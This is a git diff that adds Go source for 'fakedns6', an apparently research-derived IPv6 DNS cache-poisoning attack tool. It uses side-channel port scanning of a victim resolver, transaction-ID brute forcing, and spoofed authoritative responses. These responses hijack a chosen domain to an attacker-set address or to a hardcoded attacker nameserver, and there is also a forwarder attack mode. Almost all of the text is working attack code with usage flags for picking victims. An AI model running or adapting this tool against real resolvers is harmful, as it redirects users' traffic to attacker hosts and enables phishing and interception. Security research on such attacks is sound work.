+ // 端口不太可能用于进一步的查询。但这仍然是可能的。如果觉得端口重用不太可能发生,请在这里取消注释
+ if r.alwaysOpenPorts[i] {
+ continue
+ }
+ if currentGroupSize%GROUP_SIZE == 0 {
+ if id != 0 {
+ r.probeChannel <- id
+ for j := 1; j < repeatTimes; j++ {
+ //dup
+ previd := id
+ id = allocateGroupID(r)
+ r.groups[id] = make([]uint16, len(r.groups[previd]))
+ copy(r.groups[id], r.groups[previd])
+ r.probeChannel <- id
+ }
+ }
+
+ id = allocateGroupID(r)
+ r.groups[id] = make([]uint16, 0)
+ }
+
+ r.groups[id] = append(r.groups[id], uint16(i))
+ currentGroupSize++
+ }
+
+ //deal with last several cases
+ if /*len(r.groups[id]) != 50 &&*/ len(r.groups[id]) != 0 {
+ for len(r.groups[id]) != 50 && len(r.groups[id]) != 0 {
+ r.groups[id] = append(r.groups[id], 65535)
+ }
+
+ r.probeChannel <- id
+
+ for j := 1; j < repeatTimes; j++ {
+ //dup
+ previd := id
+ id = allocateGroupID(r)
+ r.groups[id] = make([]uint16, len(r.groups[previd]))
+ copy(r.groups[id], r.groups[previd])
+ r.probeChannel <- id
+ }
+ }
+ }
+}
+
+func main() {
+
+ /* This program only finds & injects DNS responses automatically. Additional authoritative server muting/flooding scripts are needed. */
+ /* IPv4 is not supported yet. */
+ /* Use "-h to get usage. " */
+ /* Attaching PoC? */
+ /* Add Paper Bio? */
+ ifaceName := flag.String("i", "vmnet1", "Interface for attacking. Multiple interfaces are not supported. Multiple IPs per interface is supported.")
+ /* If automatic MAC address discovery doesn't work. consider enable this option and feed it to the MAC field. */
+ // gateWayMacStr := flag.String("g", "00:11:22:33:44:55", "Gateway Mac")
+ authServer := flag.String("a", "", "Authoritative server for the domain to be poisoned.")
+ resolver := flag.String("r", "8.8.8.8", "Front-end IP of the victim resolver.")
+ resolverBackend := flag.String("b", "", "Back-end IP of the victim resolver.")
+ resolverBackendList := flag.String("bn", "", "Back-end IP list of the victim resolver. One per line. This would overwrite \"-b\" and is used when the server has multiple backend IPs.")
+ startPort := flag.Uint("s", 1, "Lowest port # for the port scan range, inclusive.")
+ endPort := flag.Uint("e", 65534, "Highest port # for the port scan range, inclusive.")
+ victimDNSName := flag.String("n", "", "The domain name to be poisoned.")
+ dnsQueryTimeout := flag.Uint("t", 4000, "Timeout in ms for outgoing dns queries to the victim resolver. Should be aligned with the resolver's timeout (e.g., BIND is 10000ms by default).")
+ defaultJitter := flag.Uint("j", 5, "Time gap between verification packet and the latest probe packet in a group. Increase the value if Jitter is increased.")
+ repeatTimes := flag.Int("R", 1, "Retransmit/Reprobe a group of ports for X times to reduce FNs.")
+ timeGap := flag.Uint("tg", 0, "Time gap is us(microseconds) between the TxID brute force packets.")
+ attTargetAddr := flag.String("ad", "", "想要篡改实现的结果")
+ debugOutput := flag.Bool("d", false, "调试输出模式.")
+ attackerMaliciousDomain := flag.String("f", "", "Attacker controlled domain used in the forwarder attack, this will enable the forwarder attack mode.")
+ soaName = *flag.String("soa", "", "SOA name of the victim domain on attacker-controlled name server used to indicate the resolver has been poisoned. (Resolver attack only.)")
+
+ flag.Parse()
+ fmt.Println("侧信道脚本工作参数:")
+ fmt.Println("\t网络接口:" + *ifaceName)
+ fmt.Println("\t目标域名权威服务器地址:" + *authServer)
+ fmt.Println("\t目标服务器地址:" + *resolverBackend)
+ fmt.Println("\t目标域名:" + *victimDNSName)
+ fmt.Println("\t预期修改结果:" + *attTargetAddr)
+ //gatewayMac, _ := net.ParseMAC(*gateWayMacStr)
+ Main(*ifaceName, net.ParseIP(*authServer), net.ParseIP(*resolver), net.ParseIP(*resolverBackend), *startPort, *endPort, *victimDNSName, *dnsQueryTimeout, *defaultJitter,
+ *attackerMaliciousDomain, *resolverBackendList, *debugOutput, *repeatTimes, *timeGap, *attTargetAddr, soaName)
+ os.Exit(0)
+}
+
+func Main(ifaceName string, authIPArg net.IP, resolverIPArg net.IP, resolverBackendIPArg net.IP, startPort uint, endPort uint, victimDNSNameArg string, dnsQueryTimeout uint,
+ defaultJitterArg uint, attackerMaliciousDomainArg string, resolverBackendList string, debugOutputArg bool, repeatTimesArg int, timeGapArg uint, attTargetAddrArg string,
+ soaNameArg string) {
+ rand.Seed(time.Now().UnixNano())
+
+ handle, _ = pcap.OpenLive(
+ ifaceName,
+ 65536,
+ true,
+ pcap.BlockForever,
+ )
+ err := handle.SetBPFFilter("not host " + authIPArg.To16().String())
+ if err != nil {
+ fmt.Println("cannot set BPF filter.")
+ }
+
+ iface, err := net.InterfaceByName(ifaceName)
+ if err != nil {
+ fmt.Println("cannot open network interface")
+ os.Exit(1)
+ }
+ // 是否攻击转发器
+ if attackerMaliciousDomainArg != "" {
+ attackForwarder = true
+ fmt.Println("转发器攻击模式!")
+ attackerControlledDomain = attackerMaliciousDomainArg
+ }
+
+ // 参数赋值
+ authIP = authIPArg
+ resolverIP = resolverIPArg
+ victimDNSName = victimDNSNameArg
+ debugOutput = debugOutputArg
+ timeGap = timeGapArg
+ attTargetAddr = attTargetAddrArg
+ soaName = soaNameArg
+
+ localIP, _ = GetIfaceAddrMulti(iface)
+ nonce := strconv.Itoa(rand.Int())
+
+ if !attackForwarder {
+ //dnsQueryName = nonce + "." + victimDNSName
+ dnsQueryName = victimDNSName
+ } else {
+ dnsQueryName = nonce + "." + attackerControlledDomain
+ }
+
+ defaultJitter = defaultJitterArg
+ repeatTimes = repeatTimesArg
+
+ if resolverBackendList != "" {
+ file, err := os.Open(resolverBackendList)
+ if err != nil {
+ fmt.Println(err)
+ os.Exit(10)
+ }
+ for {
+ var resolverIP string
+ n, err := fmt.Fscanf(file, "%s", &resolverIP)
+ if n <= 0 || err != nil {
+ break
+ }
+ backendResolvers = append(backendResolvers, backendResolverBuilder(net.ParseIP(resolverIP)))
+ }
+ } else {
+ //r1 shouldn't be nil
+ r1 := backendResolverBuilder(resolverBackendIPArg)
+ backendResolvers = append(backendResolvers, r1)
+ }
+
+ //figure out MAC address
+ //test if it's in LAN first
+ // dstMac, err := GetGatewayAddr(iface, handle, backendResolvers[0].resolverBackendIP.To16())
+ gwIP, err := getv6Gateway()
+ dstMac, err := getGatewayV6Mac(ifaceName, gwIP)
+ if err == nil {
+ ethernetLayer = &layers.Ethernet{
+ SrcMAC: iface.HardwareAddr,
+ DstMAC: dstMac,
+ //EthernetType: layers.EthernetTypeIPv4,
+ EthernetType: layers.EthernetTypeIPv6,
+ }
+ fmt.Println("\t目的Mac地址为:", dstMac)
+ } else {
+ //query routing table
+ router, err := routing.New()
+ if err != nil {
+ fmt.Println(err)
+ os.Exit(4)
+ }
+ _, nextHopIP, _, err := router.Route(backendResolvers[0].resolverBackendIP)
+ if err != nil {
+ fmt.Println(err)
+ os.Exit(5)
+ }
+ dstMac, err := GetGatewayAddr(iface, handle, nextHopIP.To16())
+ if err != nil {
+ fmt.Println(err)
+ os.Exit(6)
+ }
+ fmt.Println("MAC:", dstMac)
+ ethernetLayer = &layers.Ethernet{
+ SrcMAC: iface.HardwareAddr,
+ DstMAC: dstMac,
+ //EthernetType: layers.EthernetTypeIPv4,
+ EthernetType: layers.EthernetTypeIPv6,
+ }
+ }
+
+ // 开启接收线程,处理响应包判断攻击状态
+ go receivingThread()
+
+ for i, ip := range localIP {
+ // 只使用公网IP
+ if !ip.IsLoopback() {
+ if debugOutput {
+ fmt.Println("可用 IP", ip)
+ }
+ for _, r := range backendResolvers {
+ go perIPLimitRecover(r, i)
+ }
+ }
+ }
+ // 发送dns查询请求,触发端口开放
+ go dnsRequestSender(dnsQueryTimeout)
+
+ for _, r := range backendResolvers {
+ // 猜测端口
+ go probeSender(r)
+ // 端口范围组合
+ go portGroupFormer(r, startPort, endPort)
+ time.Sleep(25 * time.Millisecond)
+ }
+
+ time.Sleep(999 * time.Hour)
+
+}
+
+func allocateGroupID(r *backendResolver) uint32 {
+ r.groupIDCounterLock.Lock()
+ id := r.groupIDCounter
+ r.groupIDCounter++
+ if r.groupIDCounter == 0 {
+ r.groupIDCounter = 3
+ }
+ r.groupIDCounterLock.Unlock()
+ return id
+}
+
+func getBackendResolver(resolverIP net.IP) *backendResolver {
+ for _, r := range backendResolvers {
+ if compareIPv6Addr(r.resolverBackendIP, resolverIP) == 0 {
+ return r
+ }
+ }
+ return nil
+}
+
+func lockNetwork() {
+ for _, r := range backendResolvers {
+ r.networkXmitLock.Lock()
+ }
+}
+
+func unlockNetwork() {
+ for _, r := range backendResolvers {
+ r.networkXmitLock.Unlock()
+ }
+}
+
+func getLocalIPNum(ip net.IP) int {
+ for i, localip := range localIP {
+ if compareIPv6Addr(localip, ip) == 0 {
+ return i
+ }
+ }
+ return -1
+}
+
+func backendResolverBuilder(backendIP net.IP) *backendResolver {
+
+ if backendIP == nil {
+ return nil
+ }
+ temp := backendResolver{
+ resolverBackendIP: backendIP,
+ groups: make([][]uint16, 65536),
+ groupIDCounter: 3,
+ groupIDCounterLock: &sync.Mutex{},
+ groupSendTime: make([]time.Time, 65536),
+ probeChannel: make(chan uint32, 655),
+ priorityProbeChannel: make(chan uint32, 655),
+ alwaysOpenPorts: make([]bool, 65536),
+ perIPLimitCounter: make([]int, len(localIP)),
+ networkXmitLock: &sync.Mutex{},
+ }
+ for i := range temp.perIPLimitCounter {
+ temp.perIPLimitCounter[i] = 6
+ }
+ for i := 0; i < 65536; i++ {
+ temp.alwaysOpenPorts[i] = false
+ }
+ temp.alwaysOpenPorts[53] = true
+ temp.alwaysOpenPorts[0] = true
+ temp.alwaysOpenPorts[65535] = true
+ return &temp
+
+}
+
+// distribute verification to multiple IPs evenly
+func getIPwithAvailableCounter(r *backendResolver) net.IP {
+ seed := rand.Int() % len(localIP)
+ for i := 0; i < len(localIP); i++ {
+ if r.perIPLimitCounter[(i+seed)%len(localIP)] > 0 {
+ return localIP[(i+seed)%len(localIP)]
+ }
+ }
+ return nil
+}
diff --git a/att script/5(v6注入)/code/src/fakedns6/dns.go b/att script/5(v6注入)/code/src/fakedns6/dns.go
new file mode 100644
index 0000000..c29f9f9
--- /dev/null
+++ b/att script/5(v6注入)/code/src/fakedns6/dns.go
@@ -0,0 +1,261 @@
+package main
+
+import (
+ "fmt"
+ "math/rand"
+ "net"
+ "time"
+
+ "github.com/google/gopacket/layers"
+)
+
+var bruteForceCouldBeKilled bool
+
+func sendDNSRequest(id uint16, name string) {
+ if debugOutput {
+ fmt.Println("Send new DNS request", name, id)
+ }
+ _sendDNSRequest(id, name, localIP[0], resolverIP, (layers.UDPPort)(rand.Uint32()), 53)
+}
+
+func _sendDNSRequest(id uint16, name string, src net.IP, dst net.IP, sport layers.UDPPort, dport layers.UDPPort) {
+ ipLayer := layers.IPv6{
+ FlowLabel: 1,
+ SrcIP: src,
+ DstIP: dst,
+ Version: 6,
+ HopLimit: 64,
+ NextHeader: layers.IPProtocolUDP,
+ //Flags: layers.IPv4DontFragment,
+ }
+ udpLayer := layers.UDP{
+ SrcPort: sport,
+ DstPort: dport,
+ }
+ dnsLayer := layers.DNS{
+ ID: id,
+ QR: false,
+ OpCode: 0,
+ AA: false,
+ TC: false,
+ RD: true,
+ RA: false,
+ Z: 0,
+ ResponseCode: 0,
+ QDCount: 1,
+ ANCount: 0,
+ NSCount: 0,
+ ARCount: 0,
+ Questions: []layers.DNSQuestion{{
+ Name: []byte(name),
+ Type: layers.DNSTypeAAAA,
+ Class: layers.DNSClassIN,
+ }},
+ Authorities: nil,
+ Additionals: nil,
+ }
+ err := udpLayer.SetNetworkLayerForChecksum(&ipLayer)
+ if err != nil {
+ fmt.Println("udpLayer.SetNetworkLayerForChecksum @ dns.go pos 0 error", err)
+ }
+ err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer)
+ if err != nil {
+ fmt.Println("can not send packet @ sendDNSRequest: ", err)
+ }
+}
+
+func bruteForceTerminatingTimer(timegap uint) {
+ time.Sleep(time.Duration(timegap) * time.Millisecond)
+ bruteForceCouldBeKilled = true
+}
+
+func dnsBruteForce(targetPort uint16, timegap uint, resolverBackendIP net.IP, attTargetAddr string) {
+ bruteForceShouldBeKilled = true
+ bruteForceCouldBeKilled = false
+ ipLayer := layers.IPv6{
+ FlowLabel: 2,
+ SrcIP: authIP,
+ DstIP: resolverBackendIP,
+ Version: 6,
+ HopLimit: 64,
+ NextHeader: layers.IPProtocolUDP,
+ //Flags: layers.IPv4DontFragment,
+ }
+ udpLayer := layers.UDP{
+ SrcPort: 53,
+ DstPort: layers.UDPPort(targetPort),
+ }
+ dnsLayer := layers.DNS{
+ ID: 0,
+ QR: true,
+ OpCode: 0,
+ AA: true,
+ TC: false,
+ RD: false,
+ RA: false,
+ Z: 0,
+ ResponseCode: layers.DNSResponseCodeNoErr,
+ }
+
+ if !attackForwarder {
+ dnsLayer.Questions = []layers.DNSQuestion{{
+ Name: []byte(dnsQueryName),
+ Type: layers.DNSTypeAAAA,
+ Class: layers.DNSClassIN,
+ }}
+ // 原方案:将域名NS篡改到attacker的服务器上
+ //dnsLayer.Authorities = []layers.DNSResourceRecord{{
+ // Name: []byte(victimDNSName),
+ // Type: layers.DNSTypeNS,
+ // Class: layers.DNSClassIN,
+ // TTL: 300,
+ // IP: nil,
+ // NS: []byte(auxDomain),
+ // CNAME: nil,
+ // PTR: nil,
+ // TXTs: nil,
+ // SOA: layers.DNSSOA{},
+ // SRV: layers.DNSSRV{},
+ // MX: layers.DNSMX{},
+ // OPT: nil,
+ // TXT: nil,
+ //}}
+ //dnsLayer.Answers = nil
+ //dnsLayer.Additionals = nil
+ dnsLayer.Authorities = []layers.DNSResourceRecord{{
+ Name: []byte(dnsQueryName),
+ Type: layers.DNSTypeNS,
+ Class: layers.DNSClassIN,
+ TTL: 300,
+ IP: nil,
+ // 暂时写死
+ NS: []byte("nsv6.n64.top"),
+ CNAME: nil,
+ PTR: nil,
+ TXTs: nil,
+ SOA: layers.DNSSOA{},
+ SRV: layers.DNSSRV{},
+ MX: layers.DNSMX{},
+ OPT: nil,
+ TXT: nil,
+ }}
+ dnsLayer.Answers = []layers.DNSResourceRecord{{
+ Name: []byte(dnsQueryName),
+ Type: layers.DNSTypeAAAA,
+ Class: layers.DNSClassIN,
+ TTL: 300,
+ /* Fill with any IP you want. The victim domain will be hijacked to this IP. */
+ IP: net.ParseIP(attTargetAddr),
+ NS: nil,
+ CNAME: nil,
+ PTR: nil,
+ TXTs: nil,
+ SOA: layers.DNSSOA{},
+ SRV: layers.DNSSRV{},
+ MX: layers.DNSMX{},
+ OPT: nil,
+ TXT: nil,
+ }}
+ dnsLayer.Additionals = nil
+ } else {
+ /* Change these flags accordingly to the request sent by the resolver. */
+ dnsLayer.AA = false
+ dnsLayer.RD = true
+ dnsLayer.RA = true
+ dnsLayer.Questions = []layers.DNSQuestion{{
+ Name: []byte(dnsQueryName),
+ Type: layers.DNSTypeAAAA,
+ Class: layers.DNSClassIN,
+ }}
+ dnsLayer.Answers = []layers.DNSResourceRecord{{
+ Name: []byte(dnsQueryName),
+ Type: layers.DNSTypeCNAME,
+ Class: layers.DNSClassIN,
+ TTL: 300,
+ IP: nil,
+ NS: nil,
+ CNAME: []byte(victimDNSName),
+ PTR: nil,
+ TXTs: nil,
+ SOA: layers.DNSSOA{},
+ SRV: layers.DNSSRV{},
+ MX: layers.DNSMX{},
+ OPT: nil,
+ TXT: nil,
+ }, {
+ Name: []byte(victimDNSName),
+ Type: layers.DNSTypeAAAA,
+ Class: layers.DNSClassIN,
+ TTL: 300,
+ /* Fill with any IP you want. The victim domain will be hijacked to this IP. */
+ IP: net.ParseIP(attTargetAddr),
+ NS: nil,
+ CNAME: nil,
+ PTR: nil,
+ TXTs: nil,
+ SOA: layers.DNSSOA{},
+ SRV: layers.DNSSRV{},
+ MX: layers.DNSMX{},
+ OPT: nil,
+ TXT: nil,
+ }}
+ }
+
+ err := udpLayer.SetNetworkLayerForChecksum(&ipLayer)
+ if err != nil {
+ fmt.Println("udpLayer.SetNetworkLayerForChecksum @ dns.go error", err)
+ }
+ if debugOutput {
+ fmt.Println("DNS BruteForce: ", targetPort)
+ }
+
+ startTime := time.Now()
+ var txid uint16
+ //try to see if this port is open in reality
+ for txid = 0; txid < GROUP_SIZE*2; txid++ {
+ dnsLayer.ID = txid
+ err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer)
+ if err != nil {
+ fmt.Println("can not send packet @ sendDNSRequest pos 1: ", err)
+ }
+ time.Sleep(time.Duration(timegap) * time.Microsecond)
+ }
+
+ /* This is used for early termination */
+ //verification packet
+ //xmitUDPv6(localIP, resolverBackendIP, layers.UDPPort(targetPort), 65535, 2, 0)
+ //go bruteForceTerminatingTimer( /*jitter + defaultJitter*/ defaultJitter + 60)
+
+ //continue brute force
+ for txid = GROUP_SIZE * 2; txid < 0xffff; txid++ {
+ /* This is used for early termination */
+ //if bruteForceCouldBeKilled && bruteForceShouldBeKilled {
+ // fmt.Println("DNS Brute force aborted")
+ // break
+ //}
+ dnsLayer.ID = txid
+ err := Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer)
+ if err != nil {
+ fmt.Println("can not send packet @ DNSBruteForce: ", err)
+ }
+ if timegap != 0 {
+ time.Sleep(time.Duration(timegap) * time.Microsecond)
+ }
+ }
+
+ //0xffff is missing from packet trace
+ /* This is used for early termination */
+ //if !bruteForceShouldBeKilled {
+ dnsLayer.ID = 0xffff
+ err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer)
+ if err != nil {
+ fmt.Println("can not send packet @ DNSBruteForce pos 2: ", err)
+ }
+ //}
+ if debugOutput {
+ fmt.Println("time: ", time.Now().Sub(startTime))
+ }
+
+ //help to recover the global counter
+ time.Sleep(time.Duration(60+ /*jitter + defaultJitter*/ defaultJitter) * time.Millisecond)
+}
diff --git a/att script/5(v6注入)/code/src/fakedns6/go.mod b/att script/5(v6注入)/code/src/fakedns6/go.mod
new file mode 100644
index 0000000..4baf665
--- /dev/null
+++ b/att script/5(v6注入)/code/src/fakedns6/go.mod
@@ -0,0 +1,15 @@
+module fakedns6
+
+go 1.20
+
+require (
+ github.com/google/gopacket v1.1.19
+ github.com/miekg/dns v1.1.57
+)
+
+require (
+ golang.org/x/mod v0.12.0 // indirect
+ golang.org/x/net v0.17.0 // indirect
+ golang.org/x/sys v0.13.0 // indirect
+ golang.org/x/tools v0.13.0 // indirect
+)
diff --git a/att script/5(v6注入)/code/src/fakedns6/go.sum b/att script/5(v6注入)/code/src/fakedns6/go.sum
new file mode 100644
index 0000000..5ab4292
--- /dev/null
+++ b/att script/5(v6注入)/code/src/fakedns6/go.sum
@@ -0,0 +1,25 @@
+github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8=
+github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo=
+github.com/miekg/dns v1.1.57 h1:Jzi7ApEIzwEPLHWRcafCN9LZSBbqQpxjt/wpgvg7wcM=
+github.com/miekg/dns v1.1.57/go.mod h1:uqRjCRUuEAA6qsOiJvDd+CFo/vW+y5WR6SNmHE55hZk=
+golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
+golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
+golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
+golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
+golang.org/x/mod v0.12.0 h1:rmsUpXtvNzj340zd98LZ4KntptpfRHwpFOHG188oHXc=
+golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
+golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
+golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=
+golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=
+golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.4.0 h1:zxkM55ReGkDlKSM+Fu41A+zmbZuaPVbGMzvvdUPznYQ=
+golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE=
+golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
+golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/tools v0.13.0 h1:Iey4qkscZuv0VvIt8E0neZjtPVQFSc870HQ448QgEmQ=
+golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58=
+golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
diff --git a/att script/5(v6注入)/code/src/fakedns6/ipv6util.go b/att script/5(v6注入)/code/src/fakedns6/ipv6util.go
new file mode 100644
index 0000000..09245d3
--- /dev/null
+++ b/att script/5(v6注入)/code/src/fakedns6/ipv6util.go
@@ -0,0 +1,103 @@
+package main
+
+import (
+ "encoding/hex"
+ "fmt"
+ "net"
+ "os/exec"
+ "strings"
+ "syscall"
+ "unsafe"
+)
+
+type router struct {
+ ifaces []net.Interface
+ addrs []net.IP
+ v6 routeSlice
+}
+type routeSlice []*rtInfo
+
+type rtInfo struct {
+ // Dst net.IPNet
+ Gateway, PrefSrc net.IP
+ OutputIface uint32
+ Priority uint32
+}
+
+func getv6Gateway() (net.IP, error) {
+ rtr := &router{}
+
+ tab, err := syscall.NetlinkRIB(syscall.RTM_GETROUTE, syscall.AF_INET6)
+ if err != nil {
+ return nil, err
+ }
+
+ msgs, err := syscall.ParseNetlinkMessage(tab)
+ if err != nil {
+ return nil, err
+ }
+
+ for _, m := range msgs {
+ switch m.Header.Type {
+ case syscall.NLMSG_DONE:
+ break
+ case syscall.RTM_NEWROUTE:
+ // rtmsg := (*syscall.RtMsg)(unsafe.Pointer(&m.Data[0]))
+ attrs, err := syscall.ParseNetlinkRouteAttr(&m)
+ if err != nil {
+ return nil, err
+ }
+ routeInfo := rtInfo{}
+ rtr.v6 = append(rtr.v6, &routeInfo)
+ for _, attr := range attrs {
+ switch attr.Attr.Type {
+ // case syscall.RTA_DST:
+ // routeInfo.Dst.IP = net.IP(attr.Value)
+ // routeInfo.Dst.Mask = net.CIDRMask(int(rtmsg.Dst_len), len(attr.Value)*8)
+ case syscall.RTA_GATEWAY:
+ routeInfo.Gateway = net.IP(attr.Value)
+ case syscall.RTA_OIF:
+ routeInfo.OutputIface = *(*uint32)(unsafe.Pointer(&attr.Value[0]))
+ case syscall.RTA_PRIORITY:
+ routeInfo.Priority = *(*uint32)(unsafe.Pointer(&attr.Value[0]))
+ case syscall.RTA_PREFSRC:
+ routeInfo.PrefSrc = net.IP(attr.Value)
+ }
+ }
+ }
+ }
+ ips := []net.IP{}
+ for _, rt := range rtr.v6 {
+ if rt.Gateway != nil {
+ ips = append(ips, rt.Gateway)
+ }
+ }
+ return ips[0], nil
+}
+
+func getGatewayV6Mac(ifacename string, gwIP net.IP) (net.HardwareAddr, error) {
+ if debugOutput {
+ println("邻居发现--使用网卡接口为:" + ifacename)
+ }
+ out, err := exec.Command("ip", "-6", "neighbor", "show", "dev", ifacename).Output()
+ if err != nil {
+ println(err.Error())
+ } else {
+ outlines := strings.Split(string(out), "/n")
+ for _, line := range outlines {
+ linelist := strings.Split(line, " ")
+ // 与网关对应的MAC地址
+ if linelist[0] == gwIP.String() {
+
+ maclist := strings.Split(linelist[2], ":")
+ var macbyte []byte
+ for _, m := range maclist {
+ b, _ := hex.DecodeString(m)
+ macbyte = append(macbyte, b[0])
+ }
+ return net.HardwareAddr(macbyte), nil
+ }
+ }
+ }
+ return nil, fmt.Errorf("无法找到网关" + gwIP.String() + "对应的MAC地址")
+}
diff --git a/att script/5(v6注入)/code/src/fakedns6/library.go b/att script/5(v6注入)/code/src/fakedns6/library.go
new file mode 100644
index 0000000..edc4548
--- /dev/null
+++ b/att script/5(v6注入)/code/src/fakedns6/library.go
@@ -0,0 +1,171 @@
+package main
+
+import (
+ "encoding/binary"
+ "errors"
+ "fmt"
+ "github.com/google/gopacket"
+ "github.com/google/gopacket/layers"
+ "github.com/google/gopacket/pcap"
+ "net"
+ "time"
+)
+
+func GetIfaceAddrMulti(iface *net.Interface) ([]net.IP, error) {
+ addrs, err := iface.Addrs()
+ if err != nil {
+ return nil, errors.New("can not get ip address")
+ }
+
+ var srcIP []net.IP
+ for _, address := range addrs {
+ if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
+ if ipnet.IP.To16() != nil {
+ //check repeat
+ okToAdd := true
+ for _, temp := range srcIP {
+ if compareIPv6Addr(temp, ipnet.IP.To16()) == 0 {
+ okToAdd = false
+ break
+ }
+ }
+ if okToAdd {
+ srcIP = append(srcIP, ipnet.IP.To16())
+ }
+ }
+ }
+ }
+
+ if srcIP == nil || len(srcIP) == 0 {
+ return nil, errors.New("can not get ip address")
+ }
+
+ return srcIP, nil
+}
+
+func Send(handle *pcap.Handle, l ...gopacket.SerializableLayer) error {
+ opts := gopacket.SerializeOptions{
+ FixLengths: true,
+ ComputeChecksums: true,
+ }
+ buffer := gopacket.NewSerializeBuffer()
+ if err := gopacket.SerializeLayers(buffer, opts, l...); err != nil {
+ return err
+ }
+ return handle.WritePacketData(buffer.Bytes())
+}
+
+func GetIfaceAddr(iface *net.Interface) (net.IP, error) {
+ addrs, err := iface.Addrs()
+ if err != nil {
+ return nil, errors.New("can not get ip address")
+ }
+
+ var srcIP net.IP
+ for _, address := range addrs {
+ if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
+ if ipnet.IP.To16() != nil {
+ srcIP = ipnet.IP.To16()
+ break
+ }
+ }
+ }
+
+ if srcIP == nil {
+ return nil, errors.New("can not get ip address")
+ }
+
+ return srcIP, nil
+}
+
+func GetGatewayAddr(iface *net.Interface, handle *pcap.Handle, gatewayIP net.IP) (net.HardwareAddr, error) {
+ srcIP, err := GetIfaceAddr(iface)
+ if err != nil {
+ return nil, errors.New("can not get ip address")
+ }
+
+ start := time.Now()
+ // Prepare the layers to send for an ARP request.
+ eth := layers.Ethernet{
+ SrcMAC: iface.HardwareAddr,
+ DstMAC: net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff},
+ EthernetType: layers.EthernetTypeARP,
+ }
+ arp := layers.ARP{
+ AddrType: layers.LinkTypeEthernet,
+ Protocol: layers.EthernetTypeIPv6,
+ HwAddressSize: 6,
+ ProtAddressSize: 4,
+ Operation: layers.ARPRequest,
+ SourceHwAddress: []byte(iface.HardwareAddr),
+ SourceProtAddress: []byte(srcIP),
+ DstHwAddress: []byte{0, 0, 0, 0, 0, 0},
+ DstProtAddress: []byte(gatewayIP),
+ }
+ // Send a single ARP request packet (we never retry a send, since this
+ // is just an example ;)
+ if err := Send(handle, &eth, &arp); err != nil {
+ return nil, err
+ }
+ // Wait 3 seconds for an ARP reply.
+ for {
+ if time.Since(start) > time.Second*3 {
+ return nil, errors.New("timeout getting ARP reply")
+ }
+ data, _, err := handle.ReadPacketData()
+ if err == pcap.NextErrorTimeoutExpired {
+ continue
+ } else if err != nil {
+ return nil, err
+ }
+ packet := gopacket.NewPacket(data, layers.LayerTypeEthernet, gopacket.NoCopy)
+ if arpLayer := packet.Layer(layers.LayerTypeARP); arpLayer != nil {
+ arp := arpLayer.(*layers.ARP)
+ if net.IP(arp.SourceProtAddress).Equal(gatewayIP) {
+ return arp.SourceHwAddress, nil
+ }
+ }
+ }
+}
+
+func compareIPv6Addr(ip0 net.IP, ip1 net.IP) int {
+ temp0 := binary.LittleEndian.Uint32(ip0.To16())
+ temp1 := binary.LittleEndian.Uint32(ip1.To16())
+ if temp0 == temp1 {
+ return 0
+ }
+ if temp0 > temp1 {
+ return 1
+ }
+ return -1
+}
+
+func xmitUDPv6(srcIP net.IP, dstIP net.IP, srcPort layers.UDPPort, dstPort layers.UDPPort, flowlabel uint32, timegap uint32) {
+
+ ipLayer := layers.IPv6{
+ FlowLabel: flowlabel,
+ SrcIP: srcIP,
+ DstIP: dstIP,
+ Version: 6,
+ HopLimit: 64,
+ NextHeader: layers.IPProtocolUDP,
+ }
